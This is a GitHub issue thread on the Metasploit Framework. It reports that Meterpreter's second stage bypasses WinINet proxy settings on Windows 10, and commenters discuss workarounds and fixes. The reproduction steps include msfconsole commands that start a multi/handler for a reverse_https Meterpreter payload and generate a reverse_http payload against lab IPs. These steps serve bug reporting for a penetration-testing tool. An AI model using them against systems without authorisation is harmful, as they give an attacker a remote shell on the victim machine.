Metasploit-framework: Meterpreter ignores WinINet

Created on 5 Feb 2018 · 13Comments · Source: rapid7/metasploit-framework

Intro

Meterpreter ignores WinINet configuration on Windows 10 (and not only)

Lab Machines

[ ] Squid Proxy IP: 172.0.0.1:3128
[ ] Windows 7 IP: 172.0.0.12
[ ] Windows 10 IP: 172.0.0.13
[ ] Kali Linux IP: 192.168.105.245

Steps to reproduce

Kali Linux

msf

msf > use exploit/multi/handler
msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_https
msf exploit(multi/handler) > set LPORT 443
msf exploit(multi/handler) > set LHOST 192.168.105.245
msf exploit(multi/handler) > exploit -j

Windows 7

_WinINet Configuration_
proxy_win7

_Connection Established successfully through WinINet_
msf_win7

_Note:_ Meterpreter successfully reads the WinINet (as we got back a meterpreter session).

Windows 10

_WinINet Configuration_
proxy_win10

Through the execution of the .exe file, it sends the first stage back to the metasploit but then fails to read proper the WinINet proxy as trying to connect accessing directly the metasploit's IP instead through Proxy.

msf_win10
msf_2

Further checks

It has been identified that meterpreter fails also and to the following OSs:

Windows XP SP3
Windows 2008 R2 SP1

WinHTTP

Setting both WinINet and WinHTTP on Windows 10 it works properly.
netsh winhttp set proxy 172.0.0.1:3128

Setting only WinHTTP seems not to work on any tested lab machine.

Stale bug

Source

wizard32

All 13 comments

I think @busterb had a fix for this recently that might not have made it into Kali yet. Is that right Brent?

OJ on 5 Feb 2018

We landed a fix in #9475 that addresses an issue. It's not clear if what you described here is the same issue.

busterb on 5 Feb 2018

This sounds like a different issue than #9475 , the former being a fix for directly-configured proxy auth, not picking up OS-wide proxy settings.

busterb on 6 Feb 2018

👍1

Is there any update for that issue?

wizard32 on 21 Feb 2018

Issue has been identified also by another user. A case study can be found here:
https://medium.com/@br4nsh/a-meterpreter-and-windows-proxy-case-4af2b866f4a1

wizard32 on 2 Jul 2018

No, this is not the same issue documented by that user. The code changes made by that user were merged ages ago into Meterpreter master.

If you're still seeing this problem then it's unrelated and is a separate issue.

OJ on 2 Jul 2018

Think I saw this or something similar too!

Meatballs1 on 10 Jul 2018

That ^ didn't fix my problem :( reverse_http and reverse_winhttp [HTTPProxyIE true] both connect back, but the stage fails to connect out.

Meatballs1 on 20 Nov 2018

Still seeing this issue with latest Framework Version: 5.0.9-dev on Kali.

WinInet Proxy is set manually, meterpreter http/https stager connects fine but second stage fails to utilize proxy settings and attempts to bypass proxy and connect direct.

Manually configuring WinHTTP is a work around.

didn0t on 7 Mar 2019

@Meatballs1 so you're saying that the reverse_winhttp works but Meterp doesn't?!

OJ on 7 Mar 2019

I test it a week ago and for some reason it works fine after the change by @Meatballs1 .No any further clue if that change it works in any condition(automatic, wpad, manually proxy) or not.

wizard32 on 15 Mar 2019

I think I experience the same issue.

Metasploit-Framework version 
Framework: 5.0.14-dev-073462ad7e
Console  : 5.0.14-dev-073462ad7e

Windows 10 Pro
Version 1803 (OS Build 17134.706)

./squid -v
Squid Cache: Version 2.7.STABLE9

Test payload

use windows/x64/meterpreter_reverse_http
set lhost  192.168.42.131
set lport 5555
generate ...

When I set up a proxy through the internet options -> lan settings "normal" traffic is routed through the set reverse proxy. The generated payload is not using the proxy though.
After running the command OP suggested netsh winhttp set proxy 192.168.42.131:3128 Meterpreter is routing its traffic through the proxy as expected.

Screenshot from debugview (the output seems the same before and after the netshcommand):

timoles on 6 May 2019

👍1

Hi!

This issue has been left open with no activity for a while now.

We get a lot of issues, so we currently close issues after 60 days of inactivity. It’s been at least 30 days since the last update here.
If we missed this issue or if you want to keep it open, please reply here. You can also add the label "not stale" to keep this issue open!

As a friendly reminder: the best way to see this issue, or any other, fixed is to open a Pull Request.